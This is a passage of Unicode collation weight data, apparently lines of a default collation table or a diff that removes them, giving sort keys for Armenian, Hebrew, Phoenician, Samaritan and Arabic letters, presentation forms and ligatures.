-0568  ; [.2212.0020.0002] # ARMENIAN SMALL LETTER ET
-0538  ; [.2212.0020.0008] # ARMENIAN CAPITAL LETTER ET
-0569  ; [.2213.0020.0002] # ARMENIAN SMALL LETTER TO
-0539  ; [.2213.0020.0008] # ARMENIAN CAPITAL LETTER TO
-056A  ; [.2214.0020.0002] # ARMENIAN SMALL LETTER ZHE
-053A  ; [.2214.0020.0008] # ARMENIAN CAPITAL LETTER ZHE
-056B  ; [.2215.0020.0002] # ARMENIAN SMALL LETTER INI
-053B  ; [.2215.0020.0008] # ARMENIAN CAPITAL LETTER INI
-056C  ; [.2216.0020.0002] # ARMENIAN SMALL LETTER LIWN
-053C  ; [.2216.0020.0008] # ARMENIAN CAPITAL LETTER LIWN
-056D  ; [.2217.0020.0002] # ARMENIAN SMALL LETTER XEH
-053D  ; [.2217.0020.0008] # ARMENIAN CAPITAL LETTER XEH
-056E  ; [.2218.0020.0002] # ARMENIAN SMALL LETTER CA
-053E  ; [.2218.0020.0008] # ARMENIAN CAPITAL LETTER CA
-056F  ; [.2219.0020.0002] # ARMENIAN SMALL LETTER KEN
-053F  ; [.2219.0020.0008] # ARMENIAN CAPITAL LETTER KEN
-0570  ; [.221A.0020.0002] # ARMENIAN SMALL LETTER HO
-0540  ; [.221A.0020.0008] # ARMENIAN CAPITAL LETTER HO
-0571  ; [.221B.0020.0002] # ARMENIAN SMALL LETTER JA
-0541  ; [.221B.0020.0008] # ARMENIAN CAPITAL LETTER JA
-0572  ; [.221C.0020.0002] # ARMENIAN SMALL LETTER GHAD
-0542  ; [.221C.0020.0008] # ARMENIAN CAPITAL LETTER GHAD
-0573  ; [.221D.0020.0002] # ARMENIAN SMALL LETTER CHEH
-0543  ; [.221D.0020.0008] # ARMENIAN CAPITAL LETTER CHEH
-0574  ; [.221E.0020.0002] # ARMENIAN SMALL LETTER MEN
-0544  ; [.221E.0020.0008] # ARMENIAN CAPITAL LETTER MEN
-FB14  ; [.221E.0020.0004][.220F.0020.0004] # ARMENIAN SMALL LIGATURE MEN ECH
-FB15  ; [.221E.0020.0004][.2215.0020.0004] # ARMENIAN SMALL LIGATURE MEN INI
-FB17  ; [.221E.0020.0004][.2217.0020.0004] # ARMENIAN SMALL LIGATURE MEN XEH
-FB13  ; [.221E.0020.0004][.2220.0020.0004] # ARMENIAN SMALL LIGATURE MEN NOW
-0575  ; [.221F.0020.0002] # ARMENIAN SMALL LETTER YI
-0545  ; [.221F.0020.0008] # ARMENIAN CAPITAL LETTER YI
-0576  ; [.2220.0020.0002] # ARMENIAN SMALL LETTER NOW
-0546  ; [.2220.0020.0008] # ARMENIAN CAPITAL LETTER NOW
-0577  ; [.2221.0020.0002] # ARMENIAN SMALL LETTER SHA
-0547  ; [.2221.0020.0008] # ARMENIAN CAPITAL LETTER SHA
-0578  ; [.2222.0020.0002] # ARMENIAN SMALL LETTER VO
-0548  ; [.2222.0020.0008] # ARMENIAN CAPITAL LETTER VO
-0579  ; [.2223.0020.0002] # ARMENIAN SMALL LETTER CHA
-0549  ; [.2223.0020.0008] # ARMENIAN CAPITAL LETTER CHA
-057A  ; [.2224.0020.0002] # ARMENIAN SMALL LETTER PEH
-054A  ; [.2224.0020.0008] # ARMENIAN CAPITAL LETTER PEH
-057B  ; [.2225.0020.0002] # ARMENIAN SMALL LETTER JHEH
-054B  ; [.2225.0020.0008] # ARMENIAN CAPITAL LETTER JHEH
-057C  ; [.2226.0020.0002] # ARMENIAN SMALL LETTER RA
-054C  ; [.2226.0020.0008] # ARMENIAN CAPITAL LETTER RA
-057D  ; [.2227.0020.0002] # ARMENIAN SMALL LETTER SEH
-054D  ; [.2227.0020.0008] # ARMENIAN CAPITAL LETTER SEH
-057E  ; [.2228.0020.0002] # ARMENIAN SMALL LETTER VEW
-054E  ; [.2228.0020.0008] # ARMENIAN CAPITAL LETTER VEW
-FB16  ; [.2228.0020.0004][.2220.0020.0004] # ARMENIAN SMALL LIGATURE VEW NOW
-057F  ; [.2229.0020.0002] # ARMENIAN SMALL LETTER TIWN
-054F  ; [.2229.0020.0008] # ARMENIAN CAPITAL LETTER TIWN
-0580  ; [.222A.0020.0002] # ARMENIAN SMALL LETTER REH
-0550  ; [.222A.0020.0008] # ARMENIAN CAPITAL LETTER REH
-0581  ; [.222B.0020.0002] # ARMENIAN SMALL LETTER CO
-0551  ; [.222B.0020.0008] # ARMENIAN CAPITAL LETTER CO
-0582  ; [.222C.0020.0002] # ARMENIAN SMALL LETTER YIWN
-0552  ; [.222C.0020.0008] # ARMENIAN CAPITAL LETTER YIWN
-0583  ; [.222D.0020.0002] # ARMENIAN SMALL LETTER PIWR
-0553  ; [.222D.0020.0008] # ARMENIAN CAPITAL LETTER PIWR
-0584  ; [.222E.0020.0002] # ARMENIAN SMALL LETTER KEH
-0554  ; [.222E.0020.0008] # ARMENIAN CAPITAL LETTER KEH
-0585  ; [.222F.0020.0002] # ARMENIAN SMALL LETTER OH
-0555  ; [.222F.0020.0008] # ARMENIAN CAPITAL LETTER OH
-0586  ; [.2230.0020.0002] # ARMENIAN SMALL LETTER FEH
-0556  ; [.2230.0020.0008] # ARMENIAN CAPITAL LETTER FEH
-0559  ; [.2231.0020.0002] # ARMENIAN MODIFIER LETTER LEFT HALF RING
-05D0  ; [.2232.0020.0002] # HEBREW LETTER ALEF
-2135  ; [.2232.0020.0004] # ALEF SYMBOL
-FB21  ; [.2232.0020.0005] # HEBREW LETTER WIDE ALEF
-FB2E  ; [.2232.0020.0002][.0000.0059.0002] # HEBREW LETTER ALEF WITH PATAH
-FB2F  ; [.2232.0020.0002][.0000.005A.0002] # HEBREW LETTER ALEF WITH QAMATS
-FB30  ; [.2232.0020.0002][.0000.005F.0002] # HEBREW LETTER ALEF WITH MAPIQ
-FB4F  ; [.2232.0020.0004][.223D.0020.0004] # HEBREW LIGATURE ALEF LAMED
-05D1  ; [.2233.0020.0002] # HEBREW LETTER BET
-2136  ; [.2233.0020.0004] # BET SYMBOL
-FB31  ; [.2233.0020.0002][.0000.005F.0002] # HEBREW LETTER BET WITH DAGESH
-FB4C  ; [.2233.0020.0002][.0000.0060.0002] # HEBREW LETTER BET WITH RAFE
-05D2  ; [.2234.0020.0002] # HEBREW LETTER GIMEL
-2137  ; [.2234.0020.0004] # GIMEL SYMBOL
-FB32  ; [.2234.0020.0002][.0000.005F.0002] # HEBREW LETTER GIMEL WITH DAGESH
-05D3  ; [.2235.0020.0002] # HEBREW LETTER DALET
-2138  ; [.2235.0020.0004] # DALET SYMBOL
-FB22  ; [.2235.0020.0005] # HEBREW LETTER WIDE DALET
-FB33  ; [.2235.0020.0002][.0000.005F.0002] # HEBREW LETTER DALET WITH DAGESH
-05D4  ; [.2236.0020.0002] # HEBREW LETTER HE
-FB23  ; [.2236.0020.0005] # HEBREW LETTER WIDE HE
-FB34  ; [.2236.0020.0002][.0000.005F.0002] # HEBREW LETTER HE WITH MAPIQ
-05D5  ; [.2237.0020.0002] # HEBREW LETTER VAV
-FB4B  ; [.2237.0020.0002][.0000.005B.0002] # HEBREW LETTER VAV WITH HOLAM
-FB35  ; [.2237.0020.0002][.0000.005F.0002] # HEBREW LETTER VAV WITH DAGESH
-05F0  ; [.2237.0020.0004][.2237.0020.0004] # HEBREW LIGATURE YIDDISH DOUBLE VAV
-05F1  ; [.2237.0020.0004][.223B.0020.0004] # HEBREW LIGATURE YIDDISH VAV YOD
-05D6  ; [.2238.0020.0002] # HEBREW LETTER ZAYIN
-FB36  ; [.2238.0020.0002][.0000.005F.0002] # HEBREW LETTER ZAYIN WITH DAGESH
-05D7  ; [.2239.0020.0002] # HEBREW LETTER HET
-05D8  ; [.223A.0020.0002] # HEBREW LETTER TET
-FB38  ; [.223A.0020.0002][.0000.005F.0002] # HEBREW LETTER TET WITH DAGESH
-05D9  ; [.223B.0020.0002] # HEBREW LETTER YOD
-FB1D  ; [.223B.0020.0002][.0000.0056.0002] # HEBREW LETTER YOD WITH HIRIQ
-FB39  ; [.223B.0020.0002][.0000.005F.0002] # HEBREW LETTER YOD WITH DAGESH
-05F2  ; [.223B.0020.0004][.223B.0020.0004] # HEBREW LIGATURE YIDDISH DOUBLE YOD
-FB1F  ; [.223B.0020.0004][.223B.0020.0004][.0000.0059.0002] # HEBREW LIGATURE YIDDISH YOD YOD PATAH
-05DB  ; [.223C.0020.0002] # HEBREW LETTER KAF
-FB24  ; [.223C.0020.0005] # HEBREW LETTER WIDE KAF
-05DA  ; [.223C.0020.0019] # HEBREW LETTER FINAL KAF
-FB3B  ; [.223C.0020.0002][.0000.005F.0002] # HEBREW LETTER KAF WITH DAGESH
-FB3A  ; [.223C.0020.0019][.0000.005F.0002] # HEBREW LETTER FINAL KAF WITH DAGESH
-FB4D  ; [.223C.0020.0002][.0000.0060.0002] # HEBREW LETTER KAF WITH RAFE
-05DC  ; [.223D.0020.0002] # HEBREW LETTER LAMED
-FB25  ; [.223D.0020.0005] # HEBREW LETTER WIDE LAMED
-FB3C  ; [.223D.0020.0002][.0000.005F.0002] # HEBREW LETTER LAMED WITH DAGESH
-05DE  ; [.223E.0020.0002] # HEBREW LETTER MEM
-FB26  ; [.223E.0020.0005] # HEBREW LETTER WIDE FINAL MEM
-05DD  ; [.223E.0020.0019] # HEBREW LETTER FINAL MEM
-FB3E  ; [.223E.0020.0002][.0000.005F.0002] # HEBREW LETTER MEM WITH DAGESH
-05E0  ; [.223F.0020.0002] # HEBREW LETTER NUN
-05DF  ; [.223F.0020.0019] # HEBREW LETTER FINAL NUN
-FB40  ; [.223F.0020.0002][.0000.005F.0002] # HEBREW LETTER NUN WITH DAGESH
-05E1  ; [.2240.0020.0002] # HEBREW LETTER SAMEKH
-FB41  ; [.2240.0020.0002][.0000.005F.0002] # HEBREW LETTER SAMEKH WITH DAGESH
-05E2  ; [.2241.0020.0002] # HEBREW LETTER AYIN
-FB20  ; [.2241.0020.0005] # HEBREW LETTER ALTERNATIVE AYIN
-05E4  ; [.2242.0020.0002] # HEBREW LETTER PE
-05E3  ; [.2242.0020.0019] # HEBREW LETTER FINAL PE
-FB44  ; [.2242.0020.0002][.0000.005F.0002] # HEBREW LETTER PE WITH DAGESH
-FB43  ; [.2242.0020.0019][.0000.005F.0002] # HEBREW LETTER FINAL PE WITH DAGESH
-FB4E  ; [.2242.0020.0002][.0000.0060.0002] # HEBREW LETTER PE WITH RAFE
-05E6  ; [.2243.0020.0002] # HEBREW LETTER TSADI
-05E5  ; [.2243.0020.0019] # HEBREW LETTER FINAL TSADI
-FB46  ; [.2243.0020.0002][.0000.005F.0002] # HEBREW LETTER TSADI WITH DAGESH
-05E7  ; [.2244.0020.0002] # HEBREW LETTER QOF
-FB47  ; [.2244.0020.0002][.0000.005F.0002] # HEBREW LETTER QOF WITH DAGESH
-05E8  ; [.2245.0020.0002] # HEBREW LETTER RESH
-FB27  ; [.2245.0020.0005] # HEBREW LETTER WIDE RESH
-FB48  ; [.2245.0020.0002][.0000.005F.0002] # HEBREW LETTER RESH WITH DAGESH
-05E9  ; [.2246.0020.0002] # HEBREW LETTER SHIN
-FB2B  ; [.2246.0020.0002][.0000.005D.0002] # HEBREW LETTER SHIN WITH SIN DOT
-FB2A  ; [.2246.0020.0002][.0000.005E.0002] # HEBREW LETTER SHIN WITH SHIN DOT
-FB49  ; [.2246.0020.0002][.0000.005F.0002] # HEBREW LETTER SHIN WITH DAGESH
-FB2D  ; [.2246.0020.0002][.0000.005F.0002][.0000.005D.0002] # HEBREW LETTER SHIN WITH DAGESH AND SIN DOT
-FB2C  ; [.2246.0020.0002][.0000.005F.0002][.0000.005E.0002] # HEBREW LETTER SHIN WITH DAGESH AND SHIN DOT
-05EA  ; [.2247.0020.0002] # HEBREW LETTER TAV
-FB28  ; [.2247.0020.0005] # HEBREW LETTER WIDE TAV
-FB4A  ; [.2247.0020.0002][.0000.005F.0002] # HEBREW LETTER TAV WITH DAGESH
-10900 ; [.2248.0020.0002] # PHOENICIAN LETTER ALF
-10901 ; [.2249.0020.0002] # PHOENICIAN LETTER BET
-10902 ; [.224A.0020.0002] # PHOENICIAN LETTER GAML
-10903 ; [.224B.0020.0002] # PHOENICIAN LETTER DELT
-10904 ; [.224C.0020.0002] # PHOENICIAN LETTER HE
-10905 ; [.224D.0020.0002] # PHOENICIAN LETTER WAU
-10906 ; [.224E.0020.0002] # PHOENICIAN LETTER ZAI
-10907 ; [.224F.0020.0002] # PHOENICIAN LETTER HET
-10908 ; [.2250.0020.0002] # PHOENICIAN LETTER TET
-10909 ; [.2251.0020.0002] # PHOENICIAN LETTER YOD
-1090A ; [.2252.0020.0002] # PHOENICIAN LETTER KAF
-1090B ; [.2253.0020.0002] # PHOENICIAN LETTER LAMD
-1090C ; [.2254.0020.0002] # PHOENICIAN LETTER MEM
-1090D ; [.2255.0020.0002] # PHOENICIAN LETTER NUN
-1090E ; [.2256.0020.0002] # PHOENICIAN LETTER SEMK
-1090F ; [.2257.0020.0002] # PHOENICIAN LETTER AIN
-10910 ; [.2258.0020.0002] # PHOENICIAN LETTER PE
-10911 ; [.2259.0020.0002] # PHOENICIAN LETTER SADE
-10912 ; [.225A.0020.0002] # PHOENICIAN LETTER QOF
-10913 ; [.225B.0020.0002] # PHOENICIAN LETTER ROSH
-10914 ; [.225C.0020.0002] # PHOENICIAN LETTER SHIN
-10915 ; [.225D.0020.0002] # PHOENICIAN LETTER TAU
-0800  ; [.225E.0020.0002] # SAMARITAN LETTER ALAF
-0801  ; [.225F.0020.0002] # SAMARITAN LETTER BIT
-0802  ; [.2260.0020.0002] # SAMARITAN LETTER GAMAN
-0803  ; [.2261.0020.0002] # SAMARITAN LETTER DALAT
-0804  ; [.2262.0020.0002] # SAMARITAN LETTER IY
-0805  ; [.2263.0020.0002] # SAMARITAN LETTER BAA
-0806  ; [.2264.0020.0002] # SAMARITAN LETTER ZEN
-0807  ; [.2265.0020.0002] # SAMARITAN LETTER IT
-0808  ; [.2266.0020.0002] # SAMARITAN LETTER TIT
-0809  ; [.2267.0020.0002] # SAMARITAN LETTER YUT
-080A  ; [.2268.0020.0002] # SAMARITAN LETTER KAAF
-080B  ; [.2269.0020.0002] # SAMARITAN LETTER LABAT
-080C  ; [.226A.0020.0002] # SAMARITAN LETTER MIM
-080D  ; [.226B.0020.0002] # SAMARITAN LETTER NUN
-080E  ; [.226C.0020.0002] # SAMARITAN LETTER SINGAAT
-080F  ; [.226D.0020.0002] # SAMARITAN LETTER IN
-0810  ; [.226E.0020.0002] # SAMARITAN LETTER FI
-0811  ; [.226F.0020.0002] # SAMARITAN LETTER TSAADIY
-0812  ; [.2270.0020.0002] # SAMARITAN LETTER QUF
-0813  ; [.2271.0020.0002] # SAMARITAN LETTER RISH
-0814  ; [.2272.0020.0002] # SAMARITAN LETTER SHAN
-0815  ; [.2273.0020.0002] # SAMARITAN LETTER TAAF
-0816  ; [.2274.0020.0002] # SAMARITAN MARK IN
-0817  ; [.2275.0020.0002] # SAMARITAN MARK IN-ALAF
-081A  ; [.2276.0020.0002] # SAMARITAN MODIFIER LETTER EPENTHETIC YUT
-081B  ; [.2277.0020.0002] # SAMARITAN MARK EPENTHETIC YUT
-0621  ; [.2278.0020.0002] # ARABIC LETTER HAMZA
-0674  ; [.2278.0020.0004] # ARABIC LETTER HIGH HAMZA
-FE80  ; [.2278.0020.001A] # ARABIC LETTER HAMZA ISOLATED FORM
-06FD  ; [.2278.0020.0004][.0000.010C.0004] # ARABIC SIGN SINDHI AMPERSAND
-0622  ; [.2279.0020.0002] # ARABIC LETTER ALEF WITH MADDA ABOVE
-0627 0653 ; [.2279.0020.0002] # ARABIC LETTER ALEF WITH MADDA ABOVE
-FE82  ; [.2279.0020.0019] # ARABIC LETTER ALEF WITH MADDA ABOVE FINAL FORM
-FE81  ; [.2279.0020.001A] # ARABIC LETTER ALEF WITH MADDA ABOVE ISOLATED FORM
-0623  ; [.227A.0020.0002] # ARABIC LETTER ALEF WITH HAMZA ABOVE
-0627 0654 ; [.227A.0020.0002] # ARABIC LETTER ALEF WITH HAMZA ABOVE
-FE84  ; [.227A.0020.0019] # ARABIC LETTER ALEF WITH HAMZA ABOVE FINAL FORM
-FE83  ; [.227A.0020.001A] # ARABIC LETTER ALEF WITH HAMZA ABOVE ISOLATED FORM
-0672  ; [.227B.0020.0002] # ARABIC LETTER ALEF WITH WAVY HAMZA ABOVE
-0671  ; [.227C.0020.0002] # ARABIC LETTER ALEF WASLA
-FB51  ; [.227C.0020.0019] # ARABIC LETTER ALEF WASLA FINAL FORM
-FB50  ; [.227C.0020.001A] # ARABIC LETTER ALEF WASLA ISOLATED FORM
-0624  ; [.227D.0020.0002] # ARABIC LETTER WAW WITH HAMZA ABOVE
-0648 0654 ; [.227D.0020.0002] # ARABIC LETTER WAW WITH HAMZA ABOVE
-FE86  ; [.227D.0020.0019] # ARABIC LETTER WAW WITH HAMZA ABOVE FINAL FORM
-FE85  ; [.227D.0020.001A] # ARABIC LETTER WAW WITH HAMZA ABOVE ISOLATED FORM
-0625  ; [.227E.0020.0002] # ARABIC LETTER ALEF WITH HAMZA BELOW
-0627 0655 ; [.227E.0020.0002] # ARABIC LETTER ALEF WITH HAMZA BELOW
-FE88  ; [.227E.0020.0019] # ARABIC LETTER ALEF WITH HAMZA BELOW FINAL FORM
-FE87  ; [.227E.0020.001A] # ARABIC LETTER ALEF WITH HAMZA BELOW ISOLATED FORM
-0673  ; [.227F.0020.0002] # ARABIC LETTER ALEF WITH WAVY HAMZA BELOW
-0773  ; [.2280.0020.0002] # ARABIC LETTER ALEF WITH EXTENDED ARABIC-INDIC DIGIT TWO ABOVE
-0774  ; [.2281.0020.0002] # ARABIC LETTER ALEF WITH EXTENDED ARABIC-INDIC DIGIT THREE ABOVE
-0626  ; [.2282.0020.0002] # ARABIC LETTER YEH WITH HAMZA ABOVE
-064A 0654 ; [.2282.0020.0002] # ARABIC LETTER YEH WITH HAMZA ABOVE
-FE8B  ; [.2282.0020.0017] # ARABIC LETTER YEH WITH HAMZA ABOVE INITIAL FORM
-FE8C  ; [.2282.0020.0018] # ARABIC LETTER YEH WITH HAMZA ABOVE MEDIAL FORM
-FE8A  ; [.2282.0020.0019] # ARABIC LETTER YEH WITH HAMZA ABOVE FINAL FORM
-FE89  ; [.2282.0020.001A] # ARABIC LETTER YEH WITH HAMZA ABOVE ISOLATED FORM
-FBEB  ; [.2282.0020.0019][.2286.0020.0019] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH ALEF FINAL FORM
-FBEA  ; [.2282.0020.001A][.2286.0020.001A] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH ALEF ISOLATED FORM
-FC97  ; [.2282.0020.0017][.229D.0020.0017] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH JEEM INITIAL FORM
-FC00  ; [.2282.0020.001A][.229D.0020.001A] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH JEEM ISOLATED FORM
-FC98  ; [.2282.0020.0017][.22A4.0020.0017] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH HAH INITIAL FORM
-FC01  ; [.2282.0020.001A][.22A4.0020.001A] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH HAH ISOLATED FORM
-FC99  ; [.2282.0020.0017][.22A5.0020.0017] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH KHAH INITIAL FORM
-FC64  ; [.2282.0020.0019][.22BE.0020.0019] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH REH FINAL FORM
-FC65  ; [.2282.0020.0019][.22BF.0020.0019] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH ZAIN FINAL FORM
-FC9A  ; [.2282.0020.0017][.2318.0020.0017] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH MEEM INITIAL FORM
-FCDF  ; [.2282.0020.0018][.2318.0020.0018] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH MEEM MEDIAL FORM
-FC66  ; [.2282.0020.0019][.2318.0020.0019] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH MEEM FINAL FORM
-FC02  ; [.2282.0020.001A][.2318.0020.001A] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH MEEM ISOLATED FORM
-FC67  ; [.2282.0020.0019][.231C.0020.0019] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH NOON FINAL FORM
-FC9B  ; [.2282.0020.0017][.2325.0020.0017] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH HEH INITIAL FORM
-FCE0  ; [.2282.0020.0018][.2325.0020.0018] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH HEH MEDIAL FORM
-FBED  ; [.2282.0020.0019][.232A.0020.0019] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH AE FINAL FORM
-FBEC  ; [.2282.0020.001A][.232A.0020.001A] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH AE ISOLATED FORM
-FBEF  ; [.2282.0020.0019][.232B.0020.0019] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH WAW FINAL FORM
-FBEE  ; [.2282.0020.001A][.232B.0020.001A] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH WAW ISOLATED FORM
-FBF3  ; [.2282.0020.0019][.232E.0020.0019] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH OE FINAL FORM
-FBF2  ; [.2282.0020.001A][.232E.0020.001A] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH OE ISOLATED FORM
-FBF1  ; [.2282.0020.0019][.232F.0020.0019] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH U FINAL FORM
-FBF0  ; [.2282.0020.001A][.232F.0020.001A] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH U ISOLATED FORM
-FBF5  ; [.2282.0020.0019][.2330.0020.0019] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH YU FINAL FORM
-FBF4  ; [.2282.0020.001A][.2330.0020.001A] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH YU ISOLATED FORM
-FBFB  ; [.2282.0020.0017][.2339.0020.0017] # ARABIC LIGATURE UIGHUR KIRGHIZ YEH WITH HAMZA ABOVE WITH ALEF MAKSURA INITIAL FORM
-FBFA  ; [.2282.0020.0019][.2339.0020.0019] # ARABIC LIGATURE UIGHUR KIRGHIZ YEH WITH HAMZA ABOVE WITH ALEF MAKSURA FINAL FORM
-FC68  ; [.2282.0020.0019][.2339.0020.0019] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH ALEF MAKSURA FINAL FORM
-FBF9  ; [.2282.0020.001A][.2339.0020.001A] # ARABIC LIGATURE UIGHUR KIRGHIZ YEH WITH HAMZA ABOVE WITH ALEF MAKSURA ISOLATED FORM
-FC03  ; [.2282.0020.001A][.2339.0020.001A] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH ALEF MAKSURA ISOLATED FORM
-FC69  ; [.2282.0020.0019][.233A.0020.0019] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH YEH FINAL FORM
-FC04  ; [.2282.0020.001A][.233A.0020.001A] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH YEH ISOLATED FORM
-FBF8  ; [.2282.0020.0017][.233E.0020.0017] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH E INITIAL FORM
-FBF7  ; [.2282.0020.0019][.233E.0020.0019] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH E FINAL FORM
-FBF6  ; [.2282.0020.001A][.233E.0020.001A] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH E ISOLATED FORM
-08A8  ; [.2283.0020.0002] # ARABIC LETTER YEH WITH TWO DOTS BELOW AND HAMZA ABOVE
-08A9  ; [.2284.0020.0002] # ARABIC LETTER YEH WITH TWO DOTS BELOW AND DOT ABOVE
-08AC  ; [.2285.0020.0002] # ARABIC LETTER ROHINGYA YEH
-0627  ; [.2286.0020.0002] # ARABIC LETTER ALEF
-08AD  ; [.2286.0020.0004] # ARABIC LETTER LOW ALEF
-1EE00 ; [.2286.0020.0005] # ARABIC MATHEMATICAL ALEF
-1EE80 ; [.2286.0020.0005] # ARABIC MATHEMATICAL LOOPED ALEF
-FE8E  ; [.2286.0020.0019] # ARABIC LETTER ALEF FINAL FORM
-FE8D  ; [.2286.0020.001A] # ARABIC LETTER ALEF ISOLATED FORM
-FD3C  ; [.2286.0020.0019][.0000.006D.0019] # ARABIC LIGATURE ALEF WITH FATHATAN FINAL FORM
-FD3D  ; [.2286.0020.001A][.0000.006D.001A] # ARABIC LIGATURE ALEF WITH FATHATAN ISOLATED FORM
-0675  ; [.2286.0020.0004][.2278.0020.0004] # ARABIC LETTER HIGH HAMZA ALEF
-FDF3  ; [.2286.0020.001A][.22FC.0020.001A][.2288.0020.001A][.22BE.0020.001A] # ARABIC LIGATURE AKBAR ISOLATED FORM
-FDF2  ; [.2286.0020.001A][.2311.0020.001A][.2311.0020.001A][.2325.0020.001A] # ARABIC LIGATURE ALLAH ISOLATED FORM
-066E  ; [.2287.0020.0002] # ARABIC LETTER DOTLESS BEH
-1EE1C ; [.2287.0020.0005] # ARABIC MATHEMATICAL DOTLESS BEH
-1EE7C ; [.2287.0020.0005] # ARABIC MATHEMATICAL STRETCHED DOTLESS BEH
-0628  ; [.2288.0020.0002] # ARABIC LETTER BEH
-1EE01 ; [.2288.0020.0005] # ARABIC MATHEMATICAL BEH
-1EE21 ; [.2288.0020.0005] # ARABIC MATHEMATICAL INITIAL BEH
-1EE61 ; [.2288.0020.0005] # ARABIC MATHEMATICAL STRETCHED BEH
-1EE81 ; [.2288.0020.0005] # ARABIC MATHEMATICAL LOOPED BEH
-1EEA1 ; [.2288.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK BEH
-FE91  ; [.2288.0020.0017] # ARABIC LETTER BEH INITIAL FORM
-FE92  ; [.2288.0020.0018] # ARABIC LETTER BEH MEDIAL FORM
-FE90  ; [.2288.0020.0019] # ARABIC LETTER BEH FINAL FORM
-FE8F  ; [.2288.0020.001A] # ARABIC LETTER BEH ISOLATED FORM
-FC9C  ; [.2288.0020.0017][.229D.0020.0017] # ARABIC LIGATURE BEH WITH JEEM INITIAL FORM
-FC05  ; [.2288.0020.001A][.229D.0020.001A] # ARABIC LIGATURE BEH WITH JEEM ISOLATED FORM
-FC9D  ; [.2288.0020.0017][.22A4.0020.0017] # ARABIC LIGATURE BEH WITH HAH INITIAL FORM
-FC06  ; [.2288.0020.001A][.22A4.0020.001A] # ARABIC LIGATURE BEH WITH HAH ISOLATED FORM
-FDC2  ; [.2288.0020.0019][.22A4.0020.0019][.233A.0020.0019] # ARABIC LIGATURE BEH WITH HAH WITH YEH FINAL FORM
-FC9E  ; [.2288.0020.0017][.22A5.0020.0017] # ARABIC LIGATURE BEH WITH KHAH INITIAL FORM
-FC07  ; [.2288.0020.001A][.22A5.0020.001A] # ARABIC LIGATURE BEH WITH KHAH ISOLATED FORM
-FD9E  ; [.2288.0020.0019][.22A5.0020.0019][.233A.0020.0019] # ARABIC LIGATURE BEH WITH KHAH WITH YEH FINAL FORM
-FC6A  ; [.2288.0020.0019][.22BE.0020.0019] # ARABIC LIGATURE BEH WITH REH FINAL FORM
-FC6B  ; [.2288.0020.0019][.22BF.0020.0019] # ARABIC LIGATURE BEH WITH ZAIN FINAL FORM
-FC9F  ; [.2288.0020.0017][.2318.0020.0017] # ARABIC LIGATURE BEH WITH MEEM INITIAL FORM
-FCE1  ; [.2288.0020.0018][.2318.0020.0018] # ARABIC LIGATURE BEH WITH MEEM MEDIAL FORM
-FC6C  ; [.2288.0020.0019][.2318.0020.0019] # ARABIC LIGATURE BEH WITH MEEM FINAL FORM
-FC08  ; [.2288.0020.001A][.2318.0020.001A] # ARABIC LIGATURE BEH WITH MEEM ISOLATED FORM
-FC6D  ; [.2288.0020.0019][.231C.0020.0019] # ARABIC LIGATURE BEH WITH NOON FINAL FORM
-FCA0  ; [.2288.0020.0017][.2325.0020.0017] # ARABIC LIGATURE BEH WITH HEH INITIAL FORM
-FCE2  ; [.2288.0020.0018][.2325.0020.0018] # ARABIC LIGATURE BEH WITH HEH MEDIAL FORM
-FC6E  ; [.2288.0020.0019][.2339.0020.0019] # ARABIC LIGATURE BEH WITH ALEF MAKSURA FINAL FORM
-FC09  ; [.2288.0020.001A][.2339.0020.001A] # ARABIC LIGATURE BEH WITH ALEF MAKSURA ISOLATED FORM
-FC6F  ; [.2288.0020.0019][.233A.0020.0019] # ARABIC LIGATURE BEH WITH YEH FINAL FORM
-FC0A  ; [.2288.0020.001A][.233A.0020.001A] # ARABIC LIGATURE BEH WITH YEH ISOLATED FORM
-067B  ; [.2289.0020.0002] # ARABIC LETTER BEEH
-FB54  ; [.2289.0020.0017] # ARABIC LETTER BEEH INITIAL FORM
-FB55  ; [.2289.0020.0018] # ARABIC LETTER BEEH MEDIAL FORM
-FB53  ; [.2289.0020.0019] # ARABIC LETTER BEEH FINAL FORM
-FB52  ; [.2289.0020.001A] # ARABIC LETTER BEEH ISOLATED FORM
-067E  ; [.228A.0020.0002] # ARABIC LETTER PEH
-FB58  ; [.228A.0020.0017] # ARABIC LETTER PEH INITIAL FORM
-FB59  ; [.228A.0020.0018] # ARABIC LETTER PEH MEDIAL FORM
-FB57  ; [.228A.0020.0019] # ARABIC LETTER PEH FINAL FORM
-FB56  ; [.228A.0020.001A] # ARABIC LETTER PEH ISOLATED FORM
-0680  ; [.228B.0020.0002] # ARABIC LETTER BEHEH
-FB5C  ; [.228B.0020.0017] # ARABIC LETTER BEHEH INITIAL FORM
-FB5D  ; [.228B.0020.0018] # ARABIC LETTER BEHEH MEDIAL FORM
